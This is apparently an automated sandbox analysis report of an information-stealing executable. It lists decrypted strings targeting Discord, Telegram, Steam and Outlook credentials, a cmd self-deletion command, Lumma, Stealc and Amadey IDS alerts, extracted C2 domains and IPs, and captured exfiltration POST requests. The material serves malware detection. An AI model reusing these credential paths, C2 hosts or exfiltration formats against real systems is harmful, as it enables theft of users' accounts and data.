Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: vcruntime140.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Temp\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: .exe
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: runas
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: open
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: /c start
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %DESKTOP%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %APPDATA%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %USERPROFILE%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: %RECENT%
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: *.lnk
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: files
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \discord\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: key_datas
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: map*
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Telegram
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Tox
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: *.tox
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: *.ini
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Password
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 00000001
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 00000002
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 00000003
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: 00000004
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Pidgin
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \.purple\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: accounts.xml
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: token:
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: SteamPath
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \config\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ssfn*
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: config.vdf
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: loginusers.vdf
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Steam\
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: sqlite3.dll
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: done
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: soft
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: https
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: POST
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: HTTP/1.1
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: hwid
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: build
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: token
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: file_name
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: file
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: message
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack	String decryptor: screenshot.jpg

Source: o0cabS0OQn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49741 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49813 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:04:02 GMTContent-Type: application/octet-streamContent-Length: 5104640Last-Modified: Fri, 27 Dec 2024 13:02:38 GMTConnection: keep-aliveETag: "676ea56e-4de400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 f0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 4e 00 00 04 00 00 1f d6 4e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 76 64 64 75 68 72 72 00 20 29 00 00 c0 24 00 00 18 29 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 63 67 79 65 76 79 00 10 00 00 00 e0 4d 00 00 06 00 00 00 bc 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4d 00 00 22 00 00 00 c2 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:04:18 GMTContent-Type: application/octet-streamContent-Length: 3209216Last-Modified: Fri, 27 Dec 2024 13:02:46 GMTConnection: keep-aliveETag: "676ea576-30f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 31 00 00 04 00 00 aa b7 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e8 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 73 79 6e 6e 66 6f 72 00 40 2a 00 00 b0 06 00 00 3a 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 63 78 64 62 70 77 00 10 00 00 00 f0 30 00 00 04 00 00 00 d2 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 31 00 00 22 00 00 00 d6 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 32 43 39 39 41 32 34 41 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"4A2C99A24AA51915334237------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"stok------CBFBKFIDHIDGHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 